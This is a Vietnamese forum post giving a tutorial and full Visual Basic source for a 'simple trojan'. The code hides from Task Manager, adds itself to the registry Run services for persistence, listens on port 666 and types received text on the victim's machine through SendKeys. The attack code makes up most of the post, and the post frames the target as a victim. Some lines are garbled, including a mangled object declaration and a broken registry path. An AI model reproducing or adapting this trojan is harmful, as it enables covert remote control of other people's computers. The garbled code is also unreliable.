|
#1
|
|||
|
|||
Văn h�a nhậu
Mình giới thiệu với bạn 1 đọan mã nhỏ để tạo trojan đơn giản bằng Visual Basic. Trojan này chỉ mới có khả năng hiện những chữ máy chủ đang đánh lên màn hình của máy nạn nhân – nghĩa là bạn nhấn phím gì trên máy mình thì máy nạn nhân cũng vậy. Bắt đầu bạn tạo 1 form mới. Bạn thêm vào WinSock Control ( Ctrl + T ). Kế đến bạn sao chép tòan bộ mã sau vào trong phần code `Biến cố khởi động chương trình Private Sub Form_Load() 'Không hiện chương trình trong Task Manager App.TaskVisible = False 'Đưa Trojan vào phần khởi động trong Registry Dim Reg As meo Set Reg = Createmeo("wscript.shell") Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURR ENTVERSIO N\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" 'Số cổng mà ta sẽ dùng để kết nối từ máy khác khi Trojan đang chạy winsock1.localport = "666" 'Thiết lập cho Trojan luôn đợi kết nối vào Internet winsock1.Listen End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'Kiểm tra Winsock để chắc chắn không 1 chương trình nào đang dùng nó If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Accept requestID 'Chấp nhận liên kết chỉ với người vào đúng cổng Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) 'Nếu kết nối bị rớt , thiết lập cho winsock lập lại việc chờ đợi kết nối Winsock1.Close Winsock1.Listen End Sub Private Sub Winsock1_Close() 'Giống như trên Winsock1.Close Winsock1.Listen End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim data1 As String 'Thiết lập giá trị để lưu trữ dữ liệu Winsock1.GetData data1 'Lấy thông tin từ phần điều khiển và lưu nó trong data1 DoEvents SendKeys data1 'Đùa chút với nạn nhân bằng cách -Mình đánh gì-Máy victim hiện chữ đó- End Sub |
Công cụ bài viết | |
Kiểu hiển thị | |
|
|
Múi giờ GMT +7. Hiện tại là 09:12 PM |